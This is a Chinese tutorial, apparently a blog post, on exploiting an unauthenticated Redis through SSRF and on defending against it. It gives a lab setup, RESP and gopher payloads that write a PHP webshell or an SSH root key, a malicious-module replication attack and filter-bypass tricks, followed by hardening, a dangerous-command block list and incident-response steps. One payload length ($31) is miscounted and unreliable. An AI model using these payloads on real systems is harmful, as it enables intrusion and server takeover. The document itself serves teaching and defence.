Redis配置不当与SSRF攻击:从原理到实战的攻防剖析

1. 项目概述:当Redis遇上SSRF

如果你是一名运维、开发或者安全测试人员,那么“Redis配置不当”和“SSRF攻击”这两个词对你来说一定不陌生。前者是日常工作中一个看似不起眼、却可能引发雪崩的配置疏忽;后者则是攻击者手中一把锋利的内网探测与攻击利刃。当这两者结合,一个原本只应服务于内部缓存的Redis实例,就可能成为攻击者通向企业核心内网的“任意门”。今天,我们就来深入拆解这个经典且危险的安全场景,手把手带你从零开始,搭建一个存在配置问题的Redis环境,一步步复现SSRF攻击如何利用它,并最终给出从根源到边界的立体防御方案。整个过程我会附上实战截图,确保你能看得懂、复现得了、防得住。

简单来说,这个场景的核心逻辑是:攻击者发现了一个存在SSRF漏洞的Web应用(比如一个可以请求外部URL的功能点)。他无法直接访问内网,但通过SSRF漏洞,他可以让这个Web应用的服务器去发起网络请求。如果这台服务器上恰好运行着一个配置不当(例如,绑定了0.0.0.0且未设置密码)的Redis服务,攻击者就可以通过SSRF,构造特殊的HTTP请求,让Web服务器作为“跳板”,向本地的Redis服务发送恶意命令。这些命令可能包括写入Webshell、反弹Shell、窃取数据甚至进行内网横向移动。这绝不是危言耸听,而是许多真实安全事件的缩影。

2. 核心原理与攻击链深度拆解

要理解整个攻击过程,我们必须先拆解两个独立又关联的技术点:Redis的“危险配置”和SSRF的“协议利用”。

2.1 Redis的“危险配置”到底指什么?

很多人安装Redis时,为了图省事,直接使用默认配置或只做简单修改,这就埋下了隐患。以下几个配置项是安全的重灾区:

  1. bind 配置项 :默认情况下,Redis 3.2版本之后,配置文件中会有一行 bind 127.0.0.1 ,这表示只允许本机连接。但很多教程或老版本习惯会将其改为 bind 0.0.0.0 ,以便其他服务器也能访问。一旦这样设置,Redis就监听在了所有网络接口上,任何能访问到该服务器IP的机器都可以尝试连接。如果这个Redis暴露在公网,那就是“裸奔”。
  2. protected-mode 配置项 :这是Redis 3.2引入的安全模式。当Redis没有设置密码( requirepass ),且绑定地址不是回环地址(127.0.0.1)时,保护模式会生效,拒绝外部连接。但如果你既设置了 bind 0.0.0.0 ,又为了“方便”而将 protected-mode 设为 no ,那就亲手关闭了这扇安全门。
  3. requirepass 配置项 :即Redis的访问密码。默认是空的。一个强密码是防止未授权访问最基本、最有效的屏障。没有密码,攻击者连接后就可以为所欲为。
  4. dir dbfilename 配置项 :这两个配置决定了RDB持久化文件的存储目录和文件名。攻击者可以利用Redis的 CONFIG SET 命令临时修改它们,将“文件”写入到Web目录等可访问路径,从而达成写入Webshell的目的。

注意 :很多云服务器上的Redis漏洞,根源就在于用户为了方便调试,临时修改了这些配置,事后却忘了改回去。安全往往就败给了“一时方便”。

2.2 SSRF如何与Redis“握手”?

SSRF(Server-Side Request Forgery,服务端请求伪造)的本质是“借刀杀人”。攻击者诱导服务器应用代表他去发起一个网络请求。这个请求的目的地,可以是外网,也可以是服务器本身的内网(127.0.0.1/localhost)或其他内网IP。

关键点在于 协议利用 。大多数存在SSRF的功能点,最初设计可能只是用于请求HTTP/HTTPS的图片、链接。但许多编程语言的网络库(如PHP的 file_get_contents() curl ,Python的 urllib ,Java的 URLConnection 等)支持多种URL协议,例如:

  • file:// :读取本地文件。
  • dict:// :访问字典服务器。
  • gopher:// :一个功能强大的古老协议,可以封装成各种其他协议的请求。
  • redis:// 或直接使用原始TCP流量 :这正是攻击Redis的桥梁。

Gopher协议在SSRF攻击中尤其危险,因为它可以发送任意格式的TCP数据包。攻击者可以构造一个特殊的Gopher URL,其内容实际上是一个完整的Redis命令协议(RESP协议)数据包。当存在SSRF漏洞的应用解析并请求这个URL时,就会向指定的主机和端口(如本机的6379端口)发送这段Redis命令数据。如果该端口正运行着无认证的Redis,命令就会被执行。

攻击链全景图

  1. 攻击者发现一个SSRF漏洞点(如一个URL参数)。
  2. 攻击者构造一个指向 127.0.0.1:6379 的恶意Gopher协议Payload,其中包含了危害性的Redis命令。
  3. Web服务器执行SSRF请求,向本机的Redis服务发送该Payload。
  4. Redis服务器接收到并执行这些命令,导致数据泄露、文件写入或权限提升。
  5. 攻击者通过写入的Webshell或反弹的Shell,获得服务器控制权。

3. 手把手搭建漏洞复现环境

理论说得再多,不如亲手实践一遍。下面我们搭建一个经典的漏洞复现环境。我们将使用Vulhub这个漏洞靶场集成环境,它已经为我们准备好了所有组件。

3.1 环境准备与启动

首先,确保你的机器上安装了Docker和Docker Compose。这是目前最便捷的复现方式。

# 1. 拉取Vulhub项目(如果已有可跳过)
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 2. 进入Redis相关的漏洞目录
cd redis/ssrf-redis

# 3. 查看docker-compose.yml文件,了解环境构成
# 通常,它会启动一个无认证的Redis容器和一个存在SSRF漏洞的Web应用容器。
cat docker-compose.yml

# 4. 启动环境
docker-compose up -d

启动完成后,使用 docker ps 命令,你应该能看到两个容器在运行:一个是Redis,另一个是Web应用(可能是用Python Flask或PHP写的简单应用)。

3.2 漏洞点分析与确认

环境启动后,我们访问Web应用(通常是 http://your-ip:port ,具体端口查看docker-compose.yml文件)。你会看到一个简单的页面,可能有一个输入框,让你提交一个URL,然后服务器会去获取这个URL的内容并显示出来。这就是典型的SSRF漏洞点。

第一步,先验证SSRF存在性:

  • 尝试让服务器请求 http://127.0.0.1:80 (如果Web服务器本身有80端口),看是否能返回本机Web服务的首页。
  • 尝试使用 file:// 协议读取 /etc/passwd 文件: file:///etc/passwd 。如果成功读取,说明SSRF漏洞存在且协议支持广泛。

第二步,探测Redis服务:

  • 尝试让服务器请求 dict://127.0.0.1:6379/info dict 协议简单,常用来探测端口是否开放及获取横幅信息。如果返回包含 redis_version 等信息的错误或响应,则证明6379端口开放且是Redis服务。
  • 如果 dict 协议被禁用,就需要用更强大的 gopher 协议。

实操心得 :在实际测试中,目标服务器可能禁用了一些危险协议。因此,信息收集阶段多用几种方法探测非常必要。 dict 协议因为简单,有时反而能绕过一些简单的过滤。

4. 构造攻击:从信息泄露到写入Webshell

确认Redis可访问后,我们就可以开始构造真正的攻击了。我们的目标是利用Redis在Web目录下写入一个PHP Webshell。

4.1 理解Redis通信协议(RESP)

要手动构造Gopher Payload,必须了解Redis的序列化协议(RESP)。它非常简单:

  • 简单字符串:以 + 开头,如 +OK\r\n
  • 错误:以 - 开头
  • 整数:以 : 开头
  • 批量字符串:以 $ 开头,后跟字符串长度,然后是字符串本身,如 $3\r\nSET\r\n
  • 数组:以 * 开头,后跟数组元素个数,然后依次是各元素。命令就是用数组表示的。

例如,Redis命令 SET key value 的RESP编码是: *3\r\n$3\r\nSET\r\n$3\r\nkey\r\n$5\r\nvalue\r\n 解释: *3 表示这是一个包含3个元素的数组。接着是三个批量字符串: $3\r\nSET , $3\r\nkey , $5\r\nvalue

4.2 分步攻击命令构造

假设我们已知Web服务器的网站根目录是 /var/www/html (这是一个常见路径,实际需要通过信息收集确认,例如利用SSRF读取Web应用的配置文件)。

攻击步骤如下:

  1. 连接Redis并切换数据库 (可选): *2\r\n$6\r\nSELECT\r\n$1\r\n0\r\n

  2. 设置RDB文件路径为Web目录 *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n

  3. 设置RDB文件名为Webshell *4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n

  4. 写入Webshell内容到Redis键值 :我们需要写入一段PHP代码到某个键里。例如写入 <?php @eval($_POST['cmd']);?>

    • 先计算Webshell内容的长度。注意,Redis会存储一些元数据,所以直接写入可能会破坏PHP语法。更稳妥的方式是使用Redis的 set 命令,并利用RDB文件持久化的特性。但有一种更直接的方法:写入一个包含换行符的字符串,但构造起来较复杂。
    • 一个经典技巧是:使用 set 命令写入一个包含Webshell代码的键,然后通过 SAVE 命令触发RDB持久化,将内存数据写入文件。但 SAVE 是同步的,在Redis主线程执行,可能导致阻塞。
    • 更优实践 :写入多个键,利用RDB文件格式。我们可以直接构造一个 符合RDB文件格式 的Payload,然后让Redis将其恢复。但这需要深入理解RDB格式,难度较高。
    • 通用且有效的方法 :使用 eval 命令执行Lua脚本,但需要Redis支持。
    • 我们采用最广泛使用的方法 :写入一个键,其值就是Webshell代码,然后通过 CONFIG SET dbfilename SAVE 来写入文件。虽然 SAVE 可能慢,但在攻击中可用。

    构造命令: *3\r\n$3\r\nSET\r\n$4\r\nshell\r\n$31\r\n<?php @eval($_POST[\"cmd\"]);?>\r\n (注意: $31 是字符串 <?php @eval($_POST["cmd"]);?> 的长度,双引号前需要加反斜杠转义,但在RESP协议中,字符串内容就是原始字符,转义是在PHP层面。这里长度计算需精确。)

  5. 触发保存到文件 *1\r\n$4\r\nSAVE\r\n

4.3 整合成Gopher Payload

Gopher协议的URL格式为: gopher://<host>:<port>/<gopher-path> ,其中 <gopher-path> 的第一个字符会被忽略(通常用 _ ),之后的内容会作为TCP流直接发送。

我们需要将上面所有Redis命令的RESP编码 连接起来 ,然后进行URL编码(因为Gopher路径是URL的一部分,需要编码特殊字符如 %0d , %0a \r\n )。

假设我们构造的完整TCP数据流(T)是: *2\r\n$6\r\nSELECT\r\n$1\r\n0\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$13\r\n/var/www/html\r\n*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$9\r\nshell.php\r\n*3\r\n$3\r\nSET\r\n$4\r\nshell\r\n$31\r\n<?php @eval($_POST["cmd"]);?>\r\n*1\r\n$4\r\nSAVE\r\n

然后,我们需要对 \r\n 进行URL编码,它们分别是 %0d %0a 。同时,其他特殊字符如 < , > , " , 空格 等也需要编码。这通常通过脚本完成。

一个编码后的Payload片段可能看起来像: gopher://127.0.0.1:6379/_%2A2%0d%0a%246%0d%0aSELECT%0d%0a%241%0d%0a0%0d%0a%2A4%0d%0a%246%0d%0aCONFIG%0d%0a%243%0d%0aSET%0d%0a%243%0d%0adir%0d%0a%2413%0d%0a/var/www/html%0d%0a... (非常长)

4.4 使用工具简化攻击

手动构造和编码如此复杂的Payload极易出错。在实际渗透测试中,我们通常使用工具。最著名的就是 redis-ssrf 工具(如Github上的某些项目),或者使用 SSRFmap Gopherus 等自动化工具。

例如,使用 Gopherus 工具:

python gopherus.py --exploit redis

工具会交互式地询问你Redis的IP、端口、Web目录路径、Webshell内容,然后自动生成编码好的Gopher URL。你只需要将这个URL提交给存在SSRF的漏洞点即可。

攻击成功验证

  1. 将生成的Gopher URL提交给SSRF漏洞点。
  2. 如果攻击成功,Redis会执行命令,并在 /var/www/html 目录下生成 shell.php 文件。
  3. 访问 http://target-ip/shell.php ,如果存在,则说明写入成功。
  4. 使用蚁剑、菜刀或直接POST传参 cmd=system('whoami'); 来验证Webshell是否可用。

注意事项 :这种方法成功的前提是Redis运行用户(通常是 redis )对Web目录有写权限。在Docker环境中,由于权限宽松,很容易成功。在生产环境中,可能因为权限问题失败,这就需要尝试其他路径(如 /tmp )或利用其他方法。

5. 进阶利用与防御绕过思路

基础的Webshell写入只是开始,攻击者的手段会更加隐蔽和深入。

5.1 写入SSH公钥实现免密登录

如果目标服务器Redis以root或高权限用户运行,并且该用户有SSH目录的写权限,攻击者可以写入SSH公钥到 /root/.ssh/authorized_keys 文件,从而直接获得SSH root权限。

攻击步骤类似,只是将Web目录和文件名改为SSH相关路径:

  1. CONFIG SET dir /root/.ssh
  2. CONFIG SET dbfilename authorized_keys
  3. SET pubkey "\n\n<你的SSH公钥内容>\n\n" (注意前后加换行符,符合文件格式)
  4. SAVE

5.2 利用主从复制加载恶意模块

这是更高级的攻击方式,适用于Redis 4.x及以上版本,支持模块功能。攻击者可以搭建一个恶意的Redis服务器作为“主节点”,然后通过SSRF利用 SLAVEOF 命令,让目标Redis作为“从节点”同步数据。在同步过程中,可以加载恶意 .so 模块,从而执行任意代码,获得服务器权限。这种方式不需要写文件,直接在内存中执行,更加隐蔽。

5.3 防御绕过技巧

  1. 协议黑名单绕过 :如果应用过滤了 gopher:// dict:// 等关键字,可以尝试:
    • 大小写混淆: Gopher:// DICT://
    • 使用其他协议: redis:// (如果支持)、甚至利用URL解析特性,如 http://127.0.0.1@evil.com 可能会被解析到evil.com,但某些库可能解析为访问127.0.0.1。更常见的是利用IPv6地址 [::] 、十进制IP编码、八进制IP编码等。
    • 使用短域名重定向:攻击者控制一个域名,先302跳转到 gopher://... ,有些SSRF实现会跟随跳转。
  2. 地址过滤绕过 :如果过滤了 127.0.0.1 localhost
    • 使用 0.0.0.0 [::] (IPv6的本地地址)、 127.1 127.0.0.0 (某些解析方式)。
    • 使用DNS重绑定技术:域名同时解析到攻击者控制的IP和 127.0.0.1 ,利用应用和DNS解析的时间差进行攻击。
  3. 端口过滤绕过 :如果限制了常用端口,可以尝试Redis的非默认端口(如果管理员修改过)。

6. 多层次立体防御方案

防御必须从开发、运维、网络多个层面入手,构建纵深防御体系。

6.1 Redis服务端加固(运维层面)

这是最根本的防御。

  1. 强制认证 :在 redis.conf 中设置强密码 requirepass your-strong-password-here 。密码应复杂且定期更换。
  2. 最小化网络暴露 :将 bind 配置为仅应用服务器需要连接的IP地址,通常是内网IP。 绝对不要 绑定 0.0.0.0 。生产环境建议只绑定 127.0.0.1 ,让Redis只被本机访问。
  3. 启用保护模式 :确保 protected-mode yes (默认)。这是防止因忘记设置 bind 和密码而暴露的最后一道防线。
  4. 修改默认端口 :将端口从默认的6379改为其他端口,增加攻击者扫描成本。
  5. 以非root用户运行 :使用专门的低权限用户(如 redis )来运行Redis服务,并限制其文件系统权限。
  6. 防火墙限制 :使用服务器防火墙(如iptables, firewalld)或云安全组,严格限制访问Redis端口的源IP,只允许信任的应用服务器IP访问。
  7. 禁用高危命令 :在 redis.conf 中使用 rename-command 配置项,将危险命令重命名或禁用。例如:
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    rename-command SAVE ""
    rename-command SHUTDOWN ""
    
    禁用 CONFIG 命令可以极大增加利用难度。注意,禁用命令可能影响正常运维,需要权衡。
  8. 定期更新 :保持Redis版本为最新稳定版,及时修复已知漏洞。

6.2 应用层防御(开发层面)

  1. 输入校验与白名单 :对用户输入的URL进行严格校验。
    • 协议白名单 :只允许 http:// https://
    • 域名/IP白名单 :只允许访问指定的、可信的外部域名或IP地址。
    • 使用内置的解析库 获取主机名和端口,并进行判断,避免使用字符串匹配等容易被绕过的方法。
  2. 禁用不必要的URL协议 :在应用使用的网络库中,显式禁用 file:// gopher:// dict:// ftp:// 等危险协议。例如,在Java中可以使用 UrlPermission ;在Python的 urllib 中,可以自定义协议处理器。
  3. 设置请求超时与限制 :对出站请求设置较短的超时时间,并限制响应体大小,防止被用于端口扫描或DoS攻击。
  4. 避免将用户输入直接用于网络请求 :这是最根本的。如果功能设计上必须请求用户提供的URL,应考虑使用一个安全的中间代理服务,由代理服务进行严格的过滤和请求转发。

6.3 网络与架构层防御

  1. 网络隔离 :将Redis、数据库等核心服务部署在内网,与Web服务器隔离在不同的子网或VPC中,并通过严格的网络ACL控制访问。
  2. 使用跳板机或堡垒机 :运维人员通过统一的、审计严格的入口访问后台服务,避免直接暴露管理端口。
  3. 部署WAF/IDS :在网络边界或主机层部署Web应用防火墙或入侵检测系统,配置规则识别和拦截典型的SSRF攻击流量和异常的Redis协议请求。

7. 应急响应与排查手册

如果怀疑系统已经遭到此类攻击,应立即按以下步骤排查:

  1. 立即隔离 :断开疑似受害服务器的网络,防止进一步扩散。
  2. 检查Redis配置与日志
    • 查看 redis.conf 文件,确认 bind protected-mode requirepass 设置。
    • 检查Redis日志(通常配置在 logfile 中),寻找异常连接和命令执行记录,特别是来自Web服务器IP的非预期连接。
    • 使用 redis-cli 连接(需密码),执行 CLIENT LIST 查看当前连接, INFO 查看服务器信息。
  3. 检查Web应用日志 :审查Web服务器(如Nginx、Apache)的访问日志和应用自身日志,寻找包含 gopher dict 127.0.0.1:6379 等特征的异常请求。
  4. 排查恶意文件
    • 在Web目录下查找近期创建的异常文件,特别是 .php .jsp .asp 等脚本文件,检查文件内容。
    • 检查 /root/.ssh/authorized_keys /var/spool/cron/ 等关键位置是否有未授权的修改。
  5. 检查进程与网络连接 :使用 netstat -antp ss -antp 查看异常的网络连接和进程。使用 ps aux top 查看有无可疑进程。
  6. 取证与恢复 :在确认入侵点后,进行取证分析(备份日志、恶意文件样本),然后清除后门、修复漏洞(修改Redis配置、修复SSRF漏洞)、重置所有相关密码(Redis密码、系统密码、数据库密码等),最后再恢复服务。
  7. 复盘与加固 :分析攻击根本原因,是配置问题还是代码漏洞,并按照前述防御方案进行全面加固,避免同类事件再次发生。

安全是一个持续的过程,而非一劳永逸的状态。对于Redis和SSRF这类“经典组合拳”,唯有在开发、部署、运维的每一个环节都保持警惕,践行最小权限原则和纵深防御思想,才能将风险降至最低。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值